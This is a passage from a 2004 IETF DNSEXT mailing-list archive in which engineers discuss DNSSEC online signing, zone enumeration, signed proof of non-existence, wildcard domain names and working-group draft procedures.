have changed (e.g., the trust model), I am quite pessimistic that differentiating between on-line and off-line keys is beneficial. -- -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Edward Lewis +1-703-227-9854 ARIN Research Engineer "I can't go to Miami. I'm expecting calls from telemarketers." - Grandpa Simpson. -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: "Olaf M. Kolkman" <olaf@ripe.net> Subject: Re: another's view on zone enum & on-line signing Date: Thu, 23 Sep 2004 12:12:14 +0100 Lines: 13 Sender: owner-namedroppers@ops.ietf.org References: <200409230138.i8N1cQGm082209@drugs.dv.isc.org> <14205.1095935411@munnari.OZ.AU> Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Cc: Mark Andrews <Mark_Andrews@isc.org>, Florian Weimer <fw@deneb.enyo.de>, Alex Bligh <alex@alex.org.uk>, Edward Lewis <edlewis@arin.net>, namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Thu Sep 23 13:20:43 2004 Return-path: <owner-namedroppers@ops.ietf.org> User-Agent: Mozilla Thunderbird 0.7.1 (Macintosh/20040626) X-Accept-Language: en-us, en To: Robert Elz <kre@munnari.OZ.AU> In-Reply-To: <14205.1095935411@munnari.OZ.AU> Precedence: bulk Can we stop the discussing court cases. We are not lawyers. --Olaf DNSEXT co-chair -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: Ben Laurie <ben@algroup.co.uk> Subject: Re: Internet Draft Requirements Date: Thu, 23 Sep 2004 12:31:46 +0100 Lines: 75 Sender: owner-namedroppers@ops.ietf.org References: <4E25ECBBC03F874CBAD03399254ADFDE10530E@US-Columbia-CIST.mail.saic.com> <4152743B.2020204@ripe.net> Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Cc: "Loomis, Rip" <GILBERT.R.LOOMIS@saic.com>, "'namedroppers@ops.ietf.org'" <namedroppers@ops.ietf.org> X-From: owner-namedroppers@ops.ietf.org Thu Sep 23 13:39:51 2004 Return-path: <owner-namedroppers@ops.ietf.org> User-Agent: Mozilla Thunderbird 0.8 (Windows/20040913) X-Accept-Language: en-us, en To: "Olaf M. Kolkman" <olaf@ripe.net> In-Reply-To: <4152743B.2020204@ripe.net> X-Enigmail-Version: 0.86.1.0 X-Enigmail-Supports: pgp-inline, pgp-mime Precedence: bulk Olaf M. Kolkman wrote: > Loomis, Rip wrote: > >> The subject draft, containing our initial attempt at collecting >> requirements for signed proofs of nonexistence, was submitted >> to the RFC Editor queue last week. Since it still hasn't shown >> up in the active queue on rfc-editor.org, here are links to the >> initial version in text >> >> > I was also suprised that the draft didn't appear yet but Rip message > triggered me to check the draft > for which he posted the (partly broken) links. > > The text does not start the mandatory patent disclosure certification > language. > > Since more people were and will be bitten by forgetting this here > follows a small reminder. > > If drafts do not follow a basic set of requirements than they will be > bounced at submission. > The requirements are listed at: http://www.ietf.org/ietf/1id-guidelines.txt > > If you use the latest available version of XML2RFC tool for authoring > the guidlines on the "standard" > boilerplates are automatically satisfied (http://xml.resource.org). > Personally I recomend this tool. > > It would of course be cool if all "ID-nits" from > http://www.ietf.org/ID-Checklist.html would be sattisfied > too. But that can be done at a later stage in the process. The IDnits > checker (http://ietf.levkowetz.com/tools/idnits/) is a good tool to > check the IDnits that do not rely on human > intelligence. > > Please remember this, being hit by this at cutt-off date would be a > waste of time. > > -- Olaf > (PS; Ben, Rip, I suggest you add the needed diclaimers and without any > "content" change resubmit the draft) I updated xml2rfc to the current version (1.25), and the text generated was identical, apart from spacing and dates. In fact the error turns out to be this line: <rfc category='info' ipr='full3667'> which used to say: <rfc category='info' ipr='full2026'> for some reason. I am now submitting the revised version. Cheers, Ben. -- ApacheCon! 13-17 November! http://www.apachecon.com/ http://www.apache-ssl.org/ben.html http://www.thebunker.net/ "There is no limit to what a man can do or how far he can go if he doesn't mind who gets the credit." - Robert Woodruff -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: Robert Elz <kre@munnari.OZ.AU> Subject: Re: another's view on zone enum & on-line signing Date: Thu, 23 Sep 2004 18:35:49 +0700 Lines: 39 Sender: owner-namedroppers@ops.ietf.org References: <a0602041dbd784f701cf4@[193.0.8.231]> <1704.1095931561@gromit.rfc1035.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-From: owner-namedroppers@ops.ietf.org Thu Sep 23 13:47:17 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: namedroppers@ops.ietf.org In-Reply-To: <a0602041dbd784f701cf4@[193.0.8.231]> Precedence: bulk Date: Thu, 23 Sep 2004 11:38:09 +0100 From: Edward Lewis <edlewis@arin.net> Message-ID: <a0602041dbd784f701cf4@[193.0.8.231]> | In summary - unless some basic assumptions have changed (e.g., the | trust model), I am quite pessimistic that differentiating between | on-line and off-line keys is beneficial. Beneficial? How is it even possible? That is, how can anyone (other than me) possibly tell whether or not the key used to sign a zone is on-line or off-line - or really even whether a record was dynamically signed on demand, or signed a year ago and stored (given that if I am signing the data, I can set any date or time fields that are included to anything I like before I sign it)? This whole mention of banning on-line signing mistifies me. I cannot even imagine how it would be enforced, how anyone could determine whether or not it had been done correctly (that is, if required to be off line, how do you ensure that it was done off line, and for that matter, what's the actual technical definition of "off line"), or anything else in this area. I certainly have no problems requiring the protocols to be able to be implemented with no on-line keys - I believe that's always been a goal, and should remain one. But that doesn't mean that someone who cares a lot less about security, or trusts their hosts security quite a lot, cannot use on-line keys if they prefer it. Exactly how is it proposed to stop that? kre -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: Edward Lewis <edlewis@arin.net> Subject: Re: another's view on zone enum & on-line signing Date: Thu, 23 Sep 2004 13:02:00 +0100 Lines: 50 Sender: owner-namedroppers@ops.ietf.org References: <a0602041dbd784f701cf4@[193.0.8.231]> <1704.1095931561@gromit.rfc1035.com> <19509.1095939349@munnari.OZ.AU> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" ; format="flowed" Cc: namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Thu Sep 23 14:08:57 2004 Return-path: <owner-namedroppers@ops.ietf.org> X-Sender: edlewis@127.0.0.1 In-Reply-To: <19509.1095939349@munnari.OZ.AU> To: Robert Elz <kre@munnari.OZ.AU> Precedence: bulk At 18:35 +0700 9/23/04, Robert Elz wrote: > Date: Thu, 23 Sep 2004 11:38:09 +0100 > From: Edward Lewis <edlewis@arin.net> > Message-ID: <a0602041dbd784f701cf4@[193.0.8.231]> > > | In summary - unless some basic assumptions have changed (e.g., the > | trust model), I am quite pessimistic that differentiating between > | on-line and off-line keys is beneficial. > >Beneficial? How is it even possible? That is, how can anyone >(other than me) possibly tell whether or not the key used to sign >a zone is on-line or off-line - or really even whether a record was >dynamically signed on demand, or signed a year ago and stored (given >that if I am signing the data, I can set any date or time fields that >are included to anything I like before I sign it)? That was kind of my point. ;) As far as "is it possible?" Well, yes, everything is possible - at a cost. In this case, we'd have to code into resolver algorithm a rigid policy. It would have to be in the algorithm and not the messages. If you the assumption is that you can't trust the messages, you can't rely on the messages to tell you how to verify something. ;) >This whole mention of banning on-line signing mistifies me. I cannot >even imagine how it would be enforced, how anyone could determine >whether or not it had been done correctly (that is, if required to be >off line, how do you ensure that it was done off line, and for that matter, >what's the actual technical definition of "off line"), or anything else in >this area. That's a good point - if there were a ban a resolver couldn't detect the violation. (Same thought - if you assume the messages are not trustworthy...) -- -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Edward Lewis +1-703-227-9854 ARIN Research Engineer "I can't go to Miami. I'm expecting calls from telemarketers." - Grandpa Simpson. -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: Paul Vixie <paul@vix.com> Subject: Re: another's view on zone enum & on-line signing Date: Thu, 23 Sep 2004 22:56:28 +0000 Lines: 12 Sender: owner-namedroppers@ops.ietf.org References: <edlewis@arin.net> X-From: owner-namedroppers@ops.ietf.org Fri Sep 24 01:05:03 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: namedroppers@ops.ietf.org In-Reply-To: Message from Edward Lewis <edlewis@arin.net> of "Thu, 23 Sep 2004 10:03:27 +0100." <a0602041bbd7840c3647d@[193.0.8.231]> X-Mailer: MH-E 7.4; nmh 1.0.4; GNU Emacs 21.3.1 Precedence: bulk > >word on the street is, online signing isn't allowed in the dnssec-bis spec. > > What about a signed zone that is dynamically updated - doesn't that > physically require on-line signing? i meant online signing of negative responses, without precomputed NSECs. -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:08 2006 From: Samuel Weiler <weiler@tislabs.com> Subject: Re: draft-ietf-dnsext-signed-nonexistence-requirements-00.txt Date: Thu, 23 Sep 2004 19:48:26 -0400 (EDT) Lines: 30 Sender: owner-namedroppers@ops.ietf.org References: <4E25ECBBC03F874CBAD03399254ADFDE10530E@US-Columbia-CIST.mail.saic.com> Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Cc: "'namedroppers@ops.ietf.org'" <namedroppers@ops.ietf.org>, "''Ben Laurie' '" <ben@algroup.co.uk> X-From: owner-namedroppers@ops.ietf.org Fri Sep 24 01:55:47 2004 Return-path: <owner-namedroppers@ops.ietf.org> X-X-Sender: weiler@filbert To: "Loomis, Rip" <GILBERT.R.LOOMIS@saic.com> In-Reply-To: <4E25ECBBC03F874CBAD03399254ADFDE10530E@US-Columbia-CIST.mail.saic.com> Precedence: bulk On Wed, 22 Sep 2004, Loomis, Rip wrote: > And as a reminder, we fully expect that some of the requirements > in this current document may be unrealistic, may conflict with > other requirements, or may in fact be "desire-ments" without a > solid basis. Once there is at least rough consensus on the maximally > inclusive list, then the WG can work on boiling down to a cohesive > set of prioritized requirements. Thank you for putting this together, gentlemen. Given the potential for conflicting requirements, I'd find it useful to see what sets of requirements go together. We might find that there are multiple disjoint sets of users with confliciting requirements, but that we can design a solution that works for each set (or at least some of the sets). Does your raw source material give you enough data to start constructing that matrix? I also remember someone suggesting (during the DNSEXT meeting at IETF 60?) a requirement that zones not be countable, even if the names themselves are hashed. Have any of your sources mentioned such a requirement? -- Sam -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:08 2006 From: Ben Laurie <ben@algroup.co.uk> Subject: Re: draft-ietf-dnsext-signed-nonexistence-requirements-00.txt Date: Fri, 24 Sep 2004 09:47:11 +0100 Lines: 48 Sender: owner-namedroppers@ops.ietf.org References: <4E25ECBBC03F874CBAD03399254ADFDE10530E@US-Columbia-CIST.mail.saic.com> <Pine.GSO.4.55.0409231927280.680@filbert> Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Cc: "Loomis, Rip" <GILBERT.R.LOOMIS@saic.com>, "'namedroppers@ops.ietf.org'" <namedroppers@ops.ietf.org> X-From: owner-namedroppers@ops.ietf.org Fri Sep 24 11:01:04 2004 Return-path: <owner-namedroppers@ops.ietf.org> User-Agent: Mozilla Thunderbird 0.8 (Windows/20040913) X-Accept-Language: en-us, en To: Samuel Weiler <weiler@tislabs.com> In-Reply-To: <Pine.GSO.4.55.0409231927280.680@filbert> X-Enigmail-Version: 0.86.1.0 X-Enigmail-Supports: pgp-inline, pgp-mime Precedence: bulk Samuel Weiler wrote: > On Wed, 22 Sep 2004, Loomis, Rip wrote: > > >>And as a reminder, we fully expect that some of the requirements >>in this current document may be unrealistic, may conflict with >>other requirements, or may in fact be "desire-ments" without a >>solid basis. Once there is at least rough consensus on the maximally >>inclusive list, then the WG can work on boiling down to a cohesive >>set of prioritized requirements. > > > Thank you for putting this together, gentlemen. > > Given the potential for conflicting requirements, I'd find it useful > to see what sets of requirements go together. We might find that > there are multiple disjoint sets of users with confliciting > requirements, but that we can design a solution that works for each > set (or at least some of the sets). Does your raw source material > give you enough data to start constructing that matrix? Probably. I'll take a look. I doubt its possible to finish, but I'm sure starting is possible. > I also remember someone suggesting (during the DNSEXT meeting at IETF > 60?) a requirement that zones not be countable, even if the names > themselves are hashed. Have any of your sources mentioned such a > requirement? Section 7. Cheers, Ben. -- ApacheCon! 13-17 November! http://www.apachecon.com/ http://www.apache-ssl.org/ben.html http://www.thebunker.net/ "There is no limit to what a man can do or how far he can go if he doesn't mind who gets the credit." - Robert Woodruff -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:08 2006 From: David Blacka <davidb@verisignlabs.com> Subject: Re: another's view on zone enum & on-line signing Date: Fri, 24 Sep 2004 11:26:55 +0100 Lines: 25 Sender: owner-namedroppers@ops.ietf.org References: <20040923225628.726A713951@sa.vix.com> Mime-Version: 1.0 (Apple Message framework v619) Content-Type: text/plain; charset=US-ASCII; format=flowed Content-Transfer-Encoding: 7bit Cc: namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Fri Sep 24 12:36:54 2004 Return-path: <owner-namedroppers@ops.ietf.org> In-Reply-To: <20040923225628.726A713951@sa.vix.com> To: Paul Vixie <paul@vix.com> X-Mailer: Apple Mail (2.619) Precedence: bulk On Sep 23, 2004, at 11:56 PM, Paul Vixie wrote: >>> word on the street is, online signing isn't allowed in the >>> dnssec-bis spec. >> >> What about a signed zone that is dynamically updated - doesn't that >> physically require on-line signing? > > i meant online signing of negative responses, without precomputed > NSECs. So the problem you were referring to wasn't online signing, it was NSEC synthesis at (otherwise) non-existent names, right? -- David Blacka <davidb@verisignlabs.com> Sr. Engineer Verisign Applied Research -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:08 2006 From: Paul Vixie <paul@vix.com> Subject: Re: another's view on zone enum & on-line signing Date: Fri, 24 Sep 2004 18:08:00 +0000 Lines: 18 Sender: owner-namedroppers@ops.ietf.org References: <davidb@verisignlabs.com> X-From: owner-namedroppers@ops.ietf.org Fri Sep 24 20:20:19 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: namedroppers@ops.ietf.org In-Reply-To: Message from David Blacka <davidb@verisignlabs.com> of "Fri, 24 Sep 2004 11:26:55 +0100." <42183733-0E14-11D9-95EB-000A95CC77E2@verisignlabs.com> X-Mailer: MH-E 7.4; nmh 1.0.4; GNU Emacs 21.3.1 Precedence: bulk > >>> word on the street is, online signing isn't allowed in the dnssec-bis > >>> spec. > >> > >> What about a signed zone that is dynamically updated - doesn't that > >> physically require on-line signing? > > > > i meant online signing of negative responses, without precomputed NSECs. > > So the problem you were referring to wasn't online signing, it was NSEC > synthesis at (otherwise) non-existent names, right? yes. -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:08 2006 From: "Olaf M. Kolkman" <olaf@ripe.net> Subject: Fw: Approval to Post Version -00 Internet-Drafts for the 61st IETF Meeting in Washington, DC, USA Date: Mon, 27 Sep 2004 13:53:46 +0200 Organization: RIPE NCC Lines: 60 Sender: owner-namedroppers@ops.ietf.org Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-From: owner-namedroppers@ops.ietf.org Mon Sep 27 14:02:38 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: namedroppers@ops.ietf.org X-Mailer: Sylpheed version 0.9.11 (GTK+ 1.2.10; i686-pc-linux-gnu) X-RIPE-Spam-Level: X-RIPE-Spam-Status: N 0.000106 / 0.0 / 0.0 / disabled X-RIPE-Signature: d7b6188ddfe0efc739e7c958ace71bf8 Precedence: bulk FYI: If we want to turn 'individual' drafts into version 00 working group documents we have to do so before the initial cut-off. Which is Oct 11th 9:00 AM ET. Note that we can, as always, discuss documents that are not working group documents (yet). --Olaf DNSEXT Co-Chair. ---------------------- Begin forwarded message ---------------------- Date: Fri, 24 Sep 2004 09:57:34 -0400 From: Internet-Drafts Administrator <internet-drafts@ietf.org> To: Working Group Chairs <wgchairs@ietf.org> Cc: Subject: Approval to Post Version -00 Internet-Drafts for the 61st IETF Meeting in Washington, DC, USA Dear IETF Working Group Chairs: In order to expedite the processing of the many version -00 I-Ds that the Secretariat receives before an IETF meeting, we ask that you please notify the Secretariat prior to the initial submission cutoff date of all version -00 I-Ds that you expect to approve for posting as WG documents. Please send the filenames of your approved -00 I-Ds to internet-drafts@ietf.org by no later than five (5) business days prior to the cutoff date for -00 submissions, or by Monday, October 11th at 9:00 AM ET for the 61st IETF Meeting. Please include the word "Approved I-Ds" in the "Subject" field. This procedure will help to ensure that version -00 I-Ds are posted in a timely manner, allowing more time for review by the public. Thank you for your cooperation in this matter. The Internet-Drafts Administrator FYI: The Internet-Draft cutoff dates as well as other significant dates for the 61st IETF Meeting can be found at http://www.ietf.org/meetings/cutoff_dates_61.html. ---------------------- End forwarded message ------------------------ -- ---------------------------------| Olaf M. Kolkman ---------------------------------| RIPE NCC -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:08 2006 From: Mike StJohns <Mike.StJohns@nominum.com> Subject: Re: Fw: Approval to Post Version -00 Internet-Drafts for the 61st IETF Meeting in Washington, DC, USA Date: Mon, 27 Sep 2004 11:07:48 -0400 Lines: 77 Sender: owner-namedroppers@ops.ietf.org References: <20040927135346.7a0641fd.olaf@ripe.net> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-From: owner-namedroppers@ops.ietf.org Mon Sep 27 17:19:12 2004 Return-path: <owner-namedroppers@ops.ietf.org> X-Sender: stjohns@localhost X-Mailer: QUALCOMM Windows Eudora Version 6.1.2.0 To: "Olaf M. Kolkman" <olaf@ripe.net>, namedroppers@ops.ietf.org In-Reply-To: <20040927135346.7a0641fd.olaf@ripe.net> References: <20040927135346.7a0641fd.olaf@ripe.net> Precedence: bulk Is there agreement to accept http://www.ietf.org/internet-drafts/draft-stjohns-dnssec-trustupdate-01.txt "Automated Updates of DNSSEC Trust Anchors" as a WG draft? If so, I'll repost it as draft-ietf-dnsext-dnssec-trustupdate-00.txt. Mike At 07:53 AM 9/27/2004, Olaf M. Kolkman wrote: >FYI: > >If we want to turn 'individual' drafts into version 00 working >group documents we have to do so before the initial cut-off. Which is >Oct 11th 9:00 AM ET. > >Note that we can, as always, discuss documents that are not working >group documents (yet). > >--Olaf > DNSEXT Co-Chair. > > >---------------------- Begin forwarded message ---------------------- > > >Date: Fri, 24 Sep 2004 09:57:34 -0400 >From: Internet-Drafts Administrator <internet-drafts@ietf.org> >To: Working Group Chairs <wgchairs@ietf.org> >Cc: >Subject: Approval to Post Version -00 Internet-Drafts for the 61st IETF >Meeting in Washington, DC, USA > > >Dear IETF Working Group Chairs: > > In order to expedite the processing of the many version -00 I-Ds that > the Secretariat receives before an IETF meeting, we ask that you > please notify the Secretariat prior to the initial submission cutoff > date of all version -00 I-Ds that you expect to approve for posting as > WG documents. Please send the filenames of your approved -00 I-Ds to > internet-drafts@ietf.org by no later than five (5) business days prior > to the cutoff date for -00 submissions, or by Monday, October 11th at > 9:00 AM ET for the 61st IETF Meeting. Please include the word > "Approved I-Ds" in the "Subject" field. This procedure will help to > ensure that version -00 I-Ds are posted in a timely manner, allowing > more time for review by the public. > > Thank you for your cooperation in this matter. > > The Internet-Drafts Administrator > > FYI: The Internet-Draft cutoff dates as well as other significant > dates for the 61st IETF Meeting can be found at > http://www.ietf.org/meetings/cutoff_dates_61.html. > >---------------------- End forwarded message ------------------------ > >-- > >---------------------------------| Olaf M. Kolkman >---------------------------------| RIPE NCC > > >-- >to unsubscribe send a message to namedroppers-request@ops.ietf.org with >the word 'unsubscribe' in a single line as the message text body. >archive: <http://ops.ietf.org/lists/namedroppers/> -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:08 2006 From: =?iso-8859-1?Q?=D3lafur?= Gudmundsson/DNSEXT co-chair <ogud@ogud.com> Subject: Re: Fw: Approval to Post Version -00 Internet-Drafts for the 61st IETF Meeting in Washington, DC, USA Date: Mon, 27 Sep 2004 11:24:07 -0400 Lines: 27 Sender: owner-namedroppers@ops.ietf.org References: <20040927135346.7a0641fd.olaf@ripe.net> <6.1.2.0.2.20040927110541.02957ec0@localhost> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-From: owner-namedroppers@ops.ietf.org Mon Sep 27 17:30:31 2004 Return-path: <owner-namedroppers@ops.ietf.org> X-Sender: (Unverified) X-Mailer: QUALCOMM Windows Eudora Version 6.1.2.0 To: namedroppers@ops.ietf.org In-Reply-To: <6.1.2.0.2.20040927110541.02957ec0@localhost> References: <20040927135346.7a0641fd.olaf@ripe.net> <6.1.2.0.2.20040927110541.02957ec0@localhost> X-Scanned-By: MIMEDefang 2.44 Precedence: bulk At 11:07 27/09/2004, Mike StJohns wrote: >Is there agreement to accept >http://www.ietf.org/internet-drafts/draft-stjohns-dnssec-trustupdate-01.txt > "Automated Updates of DNSSEC Trust Anchors" as a WG draft? If so, I'll >repost it as draft-ietf-dnsext-dnssec-trustupdate-00.txt. Does anyone in the working group object that we admit the this document and the Threshold key validation schema described in http://www.ietf.org/internet-drafts/draft-ihren-dnsext-threshold-validation-01.txt? It was the sense of the room in San Diego to admit these documents as working group items, but we chairs forgot to officially ask this question on the mailing list. The reason to do this work in DNSEXT is that one or both these proposals want to use bits in the DNSKEY record for signaling of state change(s). Olafur DNSEXT co-chair -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:08 2006 From: David Fort <david.fort@irisa.fr> Subject: Re: ipseckey support Date: Mon, 27 Sep 2004 17:58:29 +0200 Lines: 39 Sender: owner-namedroppers@ops.ietf.org References: <414999E2.9080306@irisa.fr> Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 8bit X-From: owner-namedroppers@ops.ietf.org Mon Sep 27 18:10:49 2004 Return-path: <owner-namedroppers@ops.ietf.org> User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.2) Gecko/20040803 X-Accept-Language: fr-fr, fr, en-us, en To: namedroppers@ops.ietf.org In-Reply-To: <414999E2.9080306@irisa.fr> X-Virus-Scanned: by amavisd-new at irisa.fr Precedence: bulk David Fort wrote: > People interested in ipseckey RR should have a look at that patch. > This is for the BIND 9.3 series > > ftp://idsa.irisa.fr/local/idsa/code/patch-bind/bind9.3.0rc3+ipseckey.patch > > > This implementation follows draft-ietf-ipseckey-rr-11. I've taken 49 > as RR type(the first available AFAICT), but it can be easily changed. > > Feel free to send comments, remarks. > I've made changes to my previous patch for ipseckey support, this one should be a more correct implementation of the draft. ftp://idsa.irisa.fr/local/idsa/code/patch-bind/bind+ipseckey_20040921.patch This should apply to any recent source of BIND(including final 9.3.0) As usual feel free to remark/comment/patch. grtz. PS: please note that i've renamed the first patch to "bind+ipseckey_20040908.patch" -- Fort David, Projet IDsA IRISA-INRIA, Campus de Beaulieu, 35042 Rennes cedex, France T�l: +33 (0) 2 99 84 71 33 -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:08 2006 From: Edward Lewis <edlewis@arin.net> Subject: still not sure Date: Wed, 29 Sep 2004 12:01:50 -0400 Lines: 49 Sender: owner-namedroppers@ops.ietf.org Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" ; format="flowed" Cc: edlewis@arin.net X-From: owner-namedroppers@ops.ietf.org Wed Sep 29 18:17:20 2004 Return-path: <owner-namedroppers@ops.ietf.org> X-Sender: edlewis@127.0.0.1 To: namedroppers@ops.ietf.org Precedence: bulk I'm writing stuff into the wcard draft and I am not sure what to do about this. Not that this is literally going to be in the draft, but, what happens when: At a slave server, accepting zone transfer (updates) the following record is seen: *.foo.*.example. 3600 IN TXT "just to be a pest" Does the slave server note this in logs? Does the slave server dump the zone update upon completion of transfer? (Or) Does the slave server press this zone into service as if the above is legal (wrt RFC 1034, 4.3.3)? Does the slave server recognize that *.example. is a Wild Card Domain Name (even if there is no other *.example. entry)? Does the slave server recognize that *.foo.*.example. is one too? What I sense from the group is: *.foo.*.example. is confusing so operators SHOULD NOT use it. *.foo.*.example. MUST be allowed (anticipated) in a query. *.foo.*.example. MUST be allowed to exact match "itself." What's still knocking me around is whether we need to make it clear that: Implementations ought to anticipate such a name, and make the name act like a Wild Card Domain Name should - all the while we tell operators to not bother using it. (It's already been said that we don't want to "outlaw" it.) -- -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Edward Lewis +1-703-227-9854 ARIN Research Engineer "I can't go to Miami. I'm expecting calls from telemarketers." - Grandpa Simpson. -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:08 2006 From: Internet-Drafts@ietf.org Subject: I-D ACTION:draft-ietf-dnsext-signed-nonexistence-requirements-00.txt Date: Wed, 29 Sep 2004 15:28:59 -0400 Lines: 95 Sender: owner-namedroppers@ops.ietf.org Mime-Version: 1.0 Content-Type: Multipart/Mixed; Boundary="NextPart" Cc: namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Wed Sep 29 21:42:02 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: i-d-announce@ietf.org Precedence: bulk --NextPart A New Internet-Draft is available from the on-line Internet-Drafts directories. This draft is a work item of the DNS Extensions Working Group of the IETF. Title : Requirements related to DNSSEC Signed Proof of Non-Existence Author(s) : B. Laurie, R. Loomis Filename : draft-ietf-dnsext-signed-nonexistence-requirements-00.txt Pages : 12 Date : 2004-9-29 DNSSEC-bis uses the NSEC record to provide authenticated denial of existence of RRsets. NSEC also has the side-effect of permitting zone enumeration, even if zone transfers have been forbidden. Because some see this as a problem, this document has been assembled to detail the possible requirements for denial of existence A/K/A signed proof of non-existence. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-ietf-dnsext-signed-nonexistence-requirements-00.txt To remove yourself from the I-D Announcement list, send a message to i-d-announce-request@ietf.org with the word unsubscribe in the body of the message. You can also visit https://www1.ietf.org/mailman/listinfo/I-D-announce to change your subscription settings. Internet-Drafts are also available by anonymous FTP. Login with the username "anonymous" and a password of your e-mail address. After logging in, type "cd internet-drafts" and then "get draft-ietf-dnsext-signed-nonexistence-requirements-00.txt". A list of Internet-Drafts directories can be found in http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt Internet-Drafts can also be obtained by e-mail. Send a message to: mailserv@ietf.org. In the body type: "FILE /internet-drafts/draft-ietf-dnsext-signed-nonexistence-requirements-00.txt". NOTE: The mail server at ietf.org can return the document in MIME-encoded form by using the "mpack" utility. To use this feature, insert the command "ENCODING mime" before the "FILE" command. To decode the response(s), you will need "munpack" or a MIME-compliant mail reader. Different MIME-compliant mail readers exhibit different behavior, especially when dealing with "multipart" MIME messages (i.e. documents which have been split up into multiple messages), so check your local documentation on how to manipulate these messages. Below is the data which will enable a MIME compliant mail reader implementation to automatically retrieve the ASCII version of the Internet-Draft. --NextPart Content-Type: Multipart/Alternative; Boundary="OtherAccess" --OtherAccess Content-Type: Message/External-body; access-type="mail-server"; server="mailserv@ietf.org" Content-Type: text/plain Content-ID: <2004-9-29152645.I-D@ietf.org> ENCODING mime FILE /internet-drafts/draft-ietf-dnsext-signed-nonexistence-requirements-00.txt --OtherAccess Content-Type: Message/External-body; name="draft-ietf-dnsext-signed-nonexistence-requirements-00.txt"; site="ftp.ietf.org"; access-type="anon-ftp"; directory="internet-drafts" Content-Type: text/plain Content-ID: <2004-9-29152645.I-D@ietf.org> --OtherAccess-- --NextPart-- -- to unsubscribe send a message to 